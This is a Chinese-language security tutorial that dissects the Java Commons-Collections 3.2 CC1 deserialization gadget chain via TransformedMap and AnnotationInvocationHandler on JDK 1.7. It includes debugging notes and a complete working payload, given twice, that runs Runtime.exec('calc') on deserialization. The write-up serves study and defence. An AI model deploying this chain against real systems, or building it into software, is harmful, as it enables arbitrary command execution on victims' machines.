jdk版本:1.7.0_80
commons-collections-3.2
/**
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* MapEnty.setValue()
* TransformedMap.checkSetValue()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
*
*/
此方法进行了一次反射调用,且所有参数都可控
methodName: 方法名称
paramType:参数类型
args: 传入方法的参数
input: 执行方法的对象
通过利用InvokerTransformer.transform()弹出计算器
调用了三次transform()方法
第一次调用执行的方法是getMethod,参数是getRuntime,执行对象为Runtime.class。返回了Runtime.getRuntime这个方法。
第二次调用执行的方法是invoke,参数为空,执行对象为Runtime.getRuntime方法。返回了Runtime对象。
第三次调用的方法是exec,参数为calc,执行对象为Runtime对象。执行命令弹出计算器。
可用看出下一次执行的对象是上一次方法执行的结果。ChainedTransformer.transformer()方法刚好是一个循环执行。
此方法对一个Transformer[]列表执行了循环调用,且调用的参数以及对象都由外部传入。
Transformer[]列表由构造方法传入,在transform方法中对列表里中的对象循环调用其自身的transform方法,且下次调用的参数为上次调用执行的结果。可通过此方法对InvokerTransformer.transform()弹计算器的方法进行改写
把三次调用放在Transformer[]列表中。在创建ChainedTransformer对象时将列表传进去,再调用ChainedTransformer对象的transform方法,传入Runtime.class对象。
ConstantTransformer.transform()方法做了一个简单的转换
在创建对象时传入Runtime.class,调用ConstantTransformer.transform()时无论传入什么都会将Runtime.class返回。可将ConstantTransformer添加到Transformer[]列表中
添加ConstantTransformer后调用时首先执行ConstantTransformer.transform(),返回Runtime.class,供后续方法执行使用。ChainedTransformer.transform中传入“aaa"依然能弹出计算器,传入的aaa在ConstantTransformer.transform()中被换为Runtime.class。ConstantTransformer.transform()的对象转换作用在后续进行反序列操作时会体现出来。
以上三个方法即为CC链反序列漏洞的危险方法执行链。后续的几个方法可看作为反序列化的入口链。
checkSetValue()方法中调用了this.valueTransformer的transform方法。如果this.valueTransformer可以由我们控制并定义为ChainedTransformer对象,就可以调用上面介绍的危险函数执行链。this.valueTransformer为构造方法中传入的valueTransformer。构造方法不可直接调用,但在decorate中调用了构造方法,并将自身的valueTransformer传入构造方法中。因此可以利用decorate方法间接将this.valueTransformer定义为ChainedTransformer。
构造如上代码,将ChainedTransformer通过TransformedMap.decorate方法传进去。但无法直接调用checkSetValue()方法,因此无法弹出计算器。如果有类调用了checkSetValue()方法,并且执行方法的对象可控,那么可以将TransformedMap对象传入,进行间接调用。
TransformedMap继承了AbstracInputCheckedMapDecorator类,在此类中的MapEnty.setValue用到了checkSetValue()方法,调用此方法的this.parent由是可控的,因此可以用setValue方法触发TransformedMap的checkSetValue。
在此readObject中出现了对setValue方法的调用。调用对象为Entry类型。
var5参数相关的this.memberValue可由构造函数传入。但此构造函数不能被直接调用,因此需要通过反射方法生成。
在构造时将TransformedMapd对象传入到var2。对AnnotationInvocationHandler对象进行序列化和反序列化,反序列化时调用AnnotationInvocationHandler.readObject方法。在readObject中触发setValue。通过setValue调用checkSetValue(),在checkSetValue中完成整个transform攻击链的调用。
根据以上步骤构造payload如下
private void cc() throws Exception {
//transformer执行链
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer C = new ChainedTransformer(Transformer);//构造TransformedMap并将命令执行链传入
HashMap<Object, Object> map = new HashMap<>();
map.put("1", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, C);//构造入口类AnnotationInvocationHandler,并将TransformedMap传入
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Override.class, transformedMap);//序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(o);
//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();}
注意AnnotationInvocationHandler对象要通过反射生成,且生成时传入的第一个对象为注解类的.calss,这里先使用Override.class进行测试。
运行,发现无事发生,没有弹计算器,也没有报错提示。
在AnnotationInvocationHandler.readObject中添加如下断点进行调试
逐步调试,发现var7为null
直接在if判断中跳出执行了,并没有执行setValue。var7和var3以及var6相关。var6为1,是我们在构造Transforedmap时随意传进去map的key值。
再看var3,为var2.memberTypes(),var2又和传入的注解类相关。进入AnnotationType.getInstance方法看var2的生成过程。
对AnnotationType.getInstance打断点进行调试。
进入new AnnotationType前都为null,进入new AnnotationType方法。
发现对var1.进行了一次反射调用,获取了注解接口的所有方法。传入的Override里没有任何方法,因此var2为空,此类后续的方法基本都基于var2操作,var2为空,则后续的this.memberTypes也就什么都没有。
将payload代码做以下修改
将map的key值改为value,注解类改为Target.class,此注解中有一个value方法
再次进行调试,AnnotationInvocationHandler.readObject中的var3 key为Target的方法名value,var6的值也为value,则var7=var3.get(var6)var7不为空,进入后续操作。
进入MapEntry执行setValue方法,在此方法中调用this.parent.checkSetValue。this.parent为TransformedMap
在TransformedMap.checkSetValue中调用this.valueTransformer.transform。this.valueTransformer为ChainedTransformer
ChainedTransformer.transform中循环调用Transformer[]列表中的transform方法,注意此时的object为AnnotationTypeMismatchExcept.....对象,并不是Runtim.class
Transformer[]列表第一次调用ConstantTransformer.transform()方法,将AnnotationTypeMismatchExcept.....换为Runtime.class
第二次调用InvokerTransformer.transform,此时object已变为Runtime.class
第三次调用object变为Runtime.getRuntime()
第四次调用object变为Runtime对象
InvokerTransformer.transform反射执行Runtime对象的exec方法,参数为calc,弹出计算器
以上为反序列java CC1链 TransformedMap方法利用的整个过程
最终payload如下
private void cc() throws Exception {Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer C = new ChainedTransformer(Transformer);HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, C);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(o);ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();}
1.此条链在jdk1.8以上的大多版本都不使用,1.8版本对AnnotationInvocationHandler.readObject进行了修改,不再调用setValue方法
2.构造传入TransformedMap时传入Map的key值为后续传入AnnotationInvocationHandler注解类的方法名,若注解类没有方法,则在反序列化中无法调用setValue